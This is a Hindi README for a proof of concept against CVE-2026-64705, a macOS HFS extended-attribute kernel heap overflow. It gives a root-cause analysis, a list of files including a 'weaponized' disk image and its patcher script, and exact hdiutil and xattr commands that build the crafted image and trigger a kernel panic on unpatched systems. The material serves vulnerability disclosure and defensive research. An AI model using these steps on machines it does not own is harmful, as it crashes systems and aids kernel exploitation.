
# CVE-2026-64705 का मूल-कारण विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट यह macOS HFS xattr कर्नेल हीप ओवरफ्लो के लिए मूल-कारण विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट है। इसमें शस्त्रीकृत HFS+ इमेज, पैचर, पार्सर, और शैक्षिक एवं रक्षात्मक अनुसंधान के लिए विस्तृत विवरण शामिल है।
CVE-2026-64705 के लिए रूट-कॉज़ विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, जो HFS कर्नेल एक्सटेंशन में एक बफर ओवरफ्लो है, जिसे macOS Sonoma 14.8.7 (HT127117) में ठीक किया गया है:
HFS — प्रभाव: एक ऐप अप्रत्याशित सिस्टम समाप्ति या कर्नेल मेमोरी लेखन का कारण बन सकता है। बेहतर बाउंड्स जाँच के साथ एक बफर ओवरफ्लो को संबोधित किया गया था।
PoC एक हथियारयुक्त HFS+ डिस्क इमेज है। इसे माउंट करना और एक क्राफ्टेड एक्सटेंडेड एट्रिब्यूट पढ़ना HFS kext को 512-बाइट कर्नेल हीप बफर में एक असीमित 64-बाइट bcopy लूप में ले जाता है → हमलावर-नियंत्रित ऑन-डिस्क सामग्री के साथ कर्नेल हीप ओवरफ्लो → कमजोर बिल्ड पर पैनिक। क्रैश/पैनिक टियर — RCE नहीं।
adds/b.hs कैरी जाँच, शून्य-गणना समाप्ति, और total==0 / total>expected अस्वीकृति जोड़ता हैhfs_setxattr: %s has a malformed overflow extent, getxattr के लिए भी यही।| फ़ाइल | क्या है |
|---|---|
poc-cve-2026-64705.dmg | हथियारयुक्त 32 MB HFS+ इमेज (ट्रिगर फ़ाइल + क्राफ्टेड xattr रिकॉर्ड) |
weaponize.py | वह पैचर जिसने इमेज बनाई — इमेज से ही हर ऑफसेट को फिर से प्राप्त करता है; किसी भी संगत बेस इमेज पर काम करता है |
parse_attr.py | एट्रिब्यूट्स B-tree पार्सर जिसका उपयोग xattr रिकॉर्ड को खोजने/डंप करने के लिए किया जाता है |
BUILD.md | एक साफ बेस इमेज से पूर्ण बिल्ड रेसिपी + सटीक हेक्स डेल्टा |
WRITEUP.md | रूट-कॉज़ विश्लेषण: kext डिफ (14.8.5 बनाम 14.8.7), कमजोर लूप, तंत्र |
प्री-फिक्स सिस्टम पर (या एक बलि वीएम — यह कर्नेल को पैनिक करता है):
hdiutil attach -nobrowse poc-cve-2026-64705.dmg
xattr -l /Volumes/CVE64705/trigger.txt # कर्नेल हीप ओवरफ्लो -> पैनिक
पैच किए गए सिस्टम पर वही इमेज ठीक से माउंट होती है और ट्रिगर को नए वैलिडेटर द्वारा अस्वीकार कर दिया जाता है — आप कर्नेल लॉग में डिफरेंशियल प्रूफ देख सकते हैं:
hfs_getxattr: bigattr has a malformed overflow extent
जो यह भी पुष्टि करता है कि क्राफ्टेड रिकॉर्ड निष्पादन को ठीक पैच किए गए (और पहले कमजोर) वॉक में ले जाता है।
hdiutil create -fs HFS+ -size 32m -volname CVE64705 base.dmg
hdiutil attach -nobrowse base.dmg
echo trigger > /Volumes/CVE64705/trigger.txt
xattr -w bigattr "$(head -c 8192 /dev/zero | base64)" /Volumes/CVE64705/trigger.txt
hdiutil detach /Volumes/CVE64705
python3 weaponize.py # -> poc-cve-2026-64705.dmg
kHFSPlusAttrForkData के रूप में संग्रहीत एक बड़े xattr के लिए, hfs_getxattr_internal (और मिरर किया गया hfs_setxattr_internal) ओवरफ्लो रिकॉर्ड के 8 एक्सटेंट डिस्क्रिप्टर को वॉक करता है। count_extent_blocks() किसी भी डिस्क्रिप्टर को छोड़ देता है जिसका blockCount अपेक्षित कुल से अधिक होता है और बिना किसी कैरी या शून्य जाँच के 32-बिट योग लौटाता है। यदि हर blockCount कुल से अधिक होता है, तो गणना 0 लौटती है, blkcnt कभी आगे नहीं बढ़ता है, और while (blkcnt < totalblocks) लूप totalblocks*8-बाइट हीप बफर से परे प्रति पुनरावृत्ति 64 हमलावर-नियंत्रित बाइट्स कॉपी करता रहता है। इंटीजर-रैप वैरिएंट (blockCounts का योग 2^32 से अधिक) वही लापता जाँच है; 14.8.7 पैच दोनों को समाप्त करता है।
शैक्षिक और रक्षात्मक अनुसंधान उद्देश्यों के लिए। बग वर्तमान macOS में पैच किया गया है; केवल उन मशीनों पर परीक्षण करें जिनके आप मालिक हैं।